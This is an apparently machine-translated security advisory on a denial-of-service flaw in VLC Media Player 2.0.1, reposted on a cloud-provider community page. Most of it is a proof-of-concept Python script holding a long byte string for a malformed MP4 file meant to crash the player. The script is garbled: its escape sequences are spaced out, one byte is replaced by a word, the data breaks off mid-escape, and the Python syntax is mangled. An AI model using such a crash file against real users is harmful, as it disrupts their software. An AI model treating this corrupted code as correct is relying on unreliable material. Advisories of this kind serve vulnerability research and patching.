VLC Media Player zero Denial of Service Vulnerability

Source: Internet
Author: User

Release date: 2012-04-20
Updated on: 2012-04-23

Affected Systems:
VideoLAN VLC Media Player 2.0.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 53169

VLC Media Player is a multimedia Player named VideoLAN client.

When VLC Media playeris processing malformed. MP4 files, there is a denial of service vulnerability in implementation. Attackers can exploit this vulnerability to cause the affected applications to crash.

<* Source: Senator
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Senator () provides the following test methods:

Data =
"\ X00 \ x00 \ x00 \ x1C \ x66 \ x74 \ x79 \ x6D \ x6D \ x34 \ x32 \ x00 \ x00 \ x00 \ x00 \ x69 \ x73 \ x6F \ x6D \ x61 \ x76 \ x63 \ x31 \ x6D \ cross \ x34 \ x32 \ x00 \ x01 \ x19 \ x28 \ x6D \ x6F \ x6F \ x76 \ x00 \ x00 \ x00 \ x00 \ x6C \ x6D \ x76 \ x68 \ x64 \ x00 \ x00 \ x00 \ x00 \ xC7 \ x21 \ xFC \ x5B \ xC7 \ x21 \ xFC \ x5B \ x00 \ x00 \ x02 \ x58 \ x00 \ x02 \ x22 \ xA8 \ x00 \ x01 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x40 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x03 \ x00 \ x00 \ x00 \ x15 \ x69 \ x6F \ x64 \ x73 \ x00 \ x00 \ x00 \ x00 \ x00 \ x10 \ x07 \ x00 \ x4F \ xFF \ x29 \ x15 \ xFF \ x00 \ x00 \ xA5 \ xE5 \ x74 \ x72 \ x61 \ x6B \ x00 \ x00 \ x00 \ x5C \ x74 \ x6B \ x68 \ x64 \ x00 \ x00 \ x00 \ x01 \ xC7 \ x21 \ xFC \ x5B \ xC7 \ x21 \ xFC \ x5B \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x02 \ x22 \ x9C \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x40 \ x00 \ x00 \ x00 \ xFF \ xFF \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xA5 \ x81 \ x6D \ x64 \ x69 \ x61 \ x00 \ x00 \ x00 \ x20 \ x6D \ x64 \ x68 \ x64 \ x00 \ x00 \ x00 \ x00 \ xC7 \ x21 \ xFC \ x5B \ xC7 \ x21 \ xFC \ x5B \ x00 \ x00 \ x00 \ x00 \ x00 \ x9C \ xF0 \ x00 \ x55 \ xC4 \ x00 \ x00 \ x00 \ x00 \ x00 \ x42 \ x68 \ x64 \ x6C \ x72 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x73 \ x6F \ x75 \ x6E \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x28 \ x43 \ x29 \ x20 \ x32 \ x30 \ x30 \ x37 \ x20 \ x47 \ x6F \ x6F \ x67 \ x6C \ x65 \ x20 \ x49 \ x6E \ x63 \ x2E \ x20 \ x76 \ x30 \ x38 \ x2E \ x31 \ x33 \ x2E \ x32 \ x30 \ x30 \ x37 \ x2E \ x00 \ x00 \ x00 \ xA5 \ x17 \ x6D \ x69 \ x6E \ x66 \ x00 \ x00 \ x00 \ x10 \ x73 \ x6D \ x68 \ x64 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x24 \ x64 \ x69 \ x6E \ x66 \ x00 \ x00 \ x00 \ x1C \ x64 \ x72 \ x65 \ x66 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x0C \ x75 \ x72 \ x6C \ x20 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ xA4 \ xDB \ x73 \ x74 \ x62 \ x6C \ x00 \ x00 \ x00 \ x5B \ x73 \ x74 \ x73 \ x64 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x4B \ x6D \ x34 \ x61 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x02 \ x00 \ x10 \ x00 \ x00 \ x00 \ x00 \ xAC \ x44 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x27 \ x65 \ x73 \ x64 \ x73 \ x00 \ x00 \ x00 \ x00 \ x03 \ x19 \ x00 \ x00 \ x00 \ x04 \ x11 \ x40 \ x15 \ x00 \ x01 \ xE6 \ x00 \ x02 \ x2D \ x38 \ x00 \ x01 \ xCD \ x28 \ x05 \ x02 \ x12 \ x10 \ x06 \ x01 \ x02 \ x00 \ x00 \ x00 \ x18 \ x73 \ x74 \ x74 \ x73 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x27 \ x3C \ x00 \ x00 \ x04 \ x00 \ x00 \ x00 \ x00 \ x28 \ x73 \ x74 \ x73 \ x63 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x02 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x16 \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x01 \ xC9 \ x00 \ x00 \ x00 \ x0C \ x00 \ x00 \ x00 \ x01 \ x00 \ x00 \ x9D \ x04 \ x73 \ x74 \ x73 \ x7A \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x27 \ x3C \ x00 \ x00 \ x00 \ x09 \ x00 \ x00 \ x00 \ x09 \ x00 \ x00 \ x00 \ x09 \ x00 \ x00 \ x00 \ x09 \ x00 \ x00 \ x00 \ x09 \ x00 \ x00 \ x00 \ x09 \ x00 \ x00 \ x01 \ x6D \ x00 \ x00 \ x01 \ x5F \ x00 \ x00 \ x01 \ x8E \ x00 \ x00 \ x01 \ x76 \ x00 \ x00 \ x01 \ x7B \ x00 \ x00 \ x01 \ x72 \ x00 \ x00 \ x01 \ x76 \ x00 \ x00 \ x01 \ x7E \ x00 \ x00 \ x01 \ x75 \ x00 \ x00 \ x01 \ x7B \ x00 \ x00 \ x01 \ x74 \ x00 \ x00 \ x01 \ x75 \ x00 \ x00 \ x01 \ x71 \ x00 \ x00 \ x01 \ x6B \ x00 \ x00 \ x01 \ x61 \ x00 \ x00 \ x01 \ x63 \ x00 \ x00 \ x01 \ x6D \ x00 \ x00 \ x01 \ x5E \ x00 \ x00 \ x01 \ x66 \ x00 \ x00 \ x01 \ x5D \ x00 \ x00 \ x01 \ x55 \ x00 \ x00 \ x01 \ x5D \ x00 \ x00 \ x01 \ x66 \ x00 \ x00 \ x01 \ x66 \ x00 \ x00 \ x01 \ x60 \ x00 \ x00 \ x01 \ x59 \ x00 \ x00 \ x01 \ x56 \ x00 \ x00 \ x01 \ x54 \ x00 \ x00 \ x01 \ x68 \ x00 \ x00 \ x01 \ x4B \ x00 \ x00 \ x01 \ x4D \ x00 \ x00 \ x01 \ x51 \ x00 \ x00 \ x01 \ x4C \ x00 \ x00 \ x01 \ x43 \ x00 \ x00 \ x01 \ x40 \ x00 \ x00 \ x01 \ x3D \ x00 \ x00 \ x01 \ x2E \ x00 \ x00 \ x01 \ x19 \ x00 \ x00 \ x01 \ x12 \ x00 \ x00 \ x01 \ x03 \ x00 \ x00 \ x01 \ x1D \ x00 \ x00 \ x01 \ x1A \ x00 \ x00 \ x01 \ x16 \ x00 \ x00 \ x01 \ x21 \ x00 \ x00 \ x01 \ x08 \ x00 \ x00 \ x01 \ x18 \ x00 \ x00 \ x01 \ x1A \ x00 \ x00 \ x01 \ x09 \ x00 \ x00 \ x00 \ xFF \ x00 \ x00 \ x00 \ xFF \ x00 \ x00 \ x01 \ x01 \ x00 \ x00 \ x00 \ xFD \ x00 \ x00 \ x00 \ x00 \ xF7 \ x00 \ x00 \ x00 \ xF5 \ x00 \ x01 \ x15 \ x00 \ x00 \ x01 \ x1A \ x00 \ x00 \ x01 \ x17 \ x00 \ x00 \ x01 \ x09 \ x00 \ x00 \ x01 \ x0D \ x00 \ x00 \ x01 \ x11 \ x00 \ x00 \ x01 \ x0F \ x00 \ x00 \ x01 \ x14 \ x00 \ x00 \ x01 \ x09 \ x00 \ x00 \ x01 \ x19 \ x00 \ x00 \ x01 \ x03 \ x00 \ x00 \ x01 \ x0E \ x00 \ x00 \ x00 \ xF8 \ x00 \ x00 \ x00 \ x00 \ xEF \ x00 \ x00 \ x01 \ x0E \ x00 \ x00 \ x01 \ x10 \ x00 \ x00 \ x01 \ x12 \ x00 \ x00 \ x01 \ x0B \ x00 \ x00 \ x01 \ x0D \ x00 \ x00 \ x01 \ x0C \ x00 \ x00 \ x01 \ x0C \ x00 \ x00 \ x01 \ x11 \ x00 \ x00 \ x01 \ x07 \ x00 \ x00 \ x01 \ x0A \ x00 \ x00 \ x01 \ x08 \ x00 \ x00 \ x01 \ x08 \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x01 \ x0D \ x00 \ x00 \ x01 \ x09 \ x00 \ x00 \ x01 \ x01 \ x00 \ x00 \ x00 \ xFD \ x00 \ x00 \ x01 \ x01 \ x00 \ x00 \ x00 \ xFF \ x00 \ x00 \ x01 \ x05 \ x00 \ x00 \ x01 \ x01 \ x00 \ x00 \ x01 \ x02 \ x00 \ x00 \ x01 \ x09 \ x00 \ x00 \ x00 \ xFC \ x00 \ x00 \ x00 \ xFE \ x00 \ x00 \ x00 \ xFD \ x00 \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x01 \ x03 \ x00 \ x
Avi
= Open('poc.mp4 ', 'wb + ')
Avi. write (Data)

Avi. close ()
Print
"[-] MP4 file generated"

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

VideoLAN
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.videolan.org/

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.